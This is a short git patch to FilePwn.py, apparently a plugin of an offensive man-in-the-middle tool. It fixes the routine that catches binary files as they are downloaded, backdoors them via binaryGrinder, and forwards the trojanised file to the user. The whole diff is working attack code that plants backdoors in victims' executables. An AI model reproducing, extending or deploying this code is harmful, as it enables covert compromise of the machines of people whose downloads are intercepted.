From 52c636a50dcf949bdfb832525a2d066501b658ab Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 12 Jul 2014 18:08:16 +0200 Subject: [PATCH] fixed error when patching binaries --- plugins/FilePwn.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 93bdc5b..6f6314e 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -278,9 +278,18 @@ class FilePwn(Plugin): return {'request':request,'data':bd_zip} elif content_header in self.binaryMimeTypes: - print "[+] Detected supported binary type!" - bd_binary = self.binaryGrinder(data) - return {'request':request,'data':bd_binary} + print "[+] Detected supported binary type!" + fd, tmpFile = mkstemp() + with open(tmpFile, 'w') as f: + f.write(data) + + patchb = self.binaryGrinder(tmpFile) + + if patchb: + bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() + os.remove('./backdoored/' + os.path.basename(tmpFile)) + print "[*] Patching complete, forwarding to user." + return {'request':request,'data':bd_binary} else: print "[-] File is not of supported Content-Type: %s" % content_header